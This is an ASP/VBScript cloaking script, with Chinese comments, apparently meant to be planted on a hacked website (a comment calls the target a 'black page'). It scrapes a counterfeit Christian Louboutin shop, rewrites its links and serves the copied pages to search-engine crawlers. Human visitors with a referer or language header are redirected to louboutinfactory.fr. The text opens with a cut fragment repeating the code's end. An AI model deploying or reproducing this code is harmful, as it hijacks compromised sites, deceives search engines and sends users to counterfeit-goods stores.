(.*?)<\/title>") pagetitle = Server.URLEncode(pagetitle) dim agent,language,referer agent=request.servervariables("http_user_agent") language=request.servervariables("HTTP_ACCEPT_LANGUAGE") referer=request.servervariables("HTTP_REFERER") if language = "" and referer = "" then if InStr(agent, "bot")<=0 then Response.Redirect "http://"&jumptodomain&"/?from="&GetLocationURL()&"&q="&pagetitle Response.End end if else Response.Redirect "http://"&jumptodomain&"/?from="&GetLocationURL()&"&q="&pagetitle Response.End end if response.write htmls %>

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% On Error Resume Next dim jumptodomain, imagefolder, fromsite, tourl '跳转域名 jumptodomain = "www.louboutinfactory.fr" '被复制网站记得不要漏了斜杠"/" fromsite = "http://www.pascherlouboutin.org/" '黑页地址 tourl ="http://www.travellersbank.com/ChristianLouboutinnrepandun.asp" '页面参数 pageid = "repandu" imagefolder = "images/" '图片文件夹 tourl = tourl&"?"&pageid&"=" '以下内容都不需要更改 Function GetLocationURL() Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName If QueryString <>"" Then Url=Url&"?"& QueryString GetLocationURL=Server.URLEncode(Url) End Function Function GetCode(str,regstr) Dim Reg,serStr,Cols Set Reg= new RegExp Reg.IgnoreCase = True Reg.MultiLine = True Reg.Pattern =regstr If Reg.test(str) Then '若查询到匹配项 Set Cols = Reg.Execute(str) GetCode=Cols(0).SubMatches(0) '使用匹配到的第一个匹配项 Else GetCode="" End If Set Cols = Nothing Set Reg = Nothing End Function %> <% on error resume next Function getHTTPPage(URL) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "UTF-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function if request(pageid)<>"" then htmls = getHTTPPage(fromsite&request(pageid)) htmls = replace(htmls,fromsite,tourl) htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http") htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl) 'response.write htmls else htmls = getHTTPPage(fromsite) htmls = replace(htmls,fromsite,tourl) htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http") htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl) 'response.write htmls end if 'start jump dim pagetitle pagetitle = GetCode(htmls,"(.*?)<\/title>") pagetitle = Server.URLEncode(pagetitle) dim agent,language,referer agent=request.servervariables("http_user_agent") language=request.servervariables("HTTP_ACCEPT_LANGUAGE") referer=request.servervariables("HTTP_REFERER") if language = "" and referer = "" then if InStr(agent, "bot")<=0 then Response.Redirect "http://"&jumptodomain&"/?from="&GetLocationURL()&"&q="&pagetitle Response.End end if else Response.Redirect "http://"&jumptodomain&"/?from="&GetLocationURL()&"&q="&pagetitle Response.End end if response.write htmls %>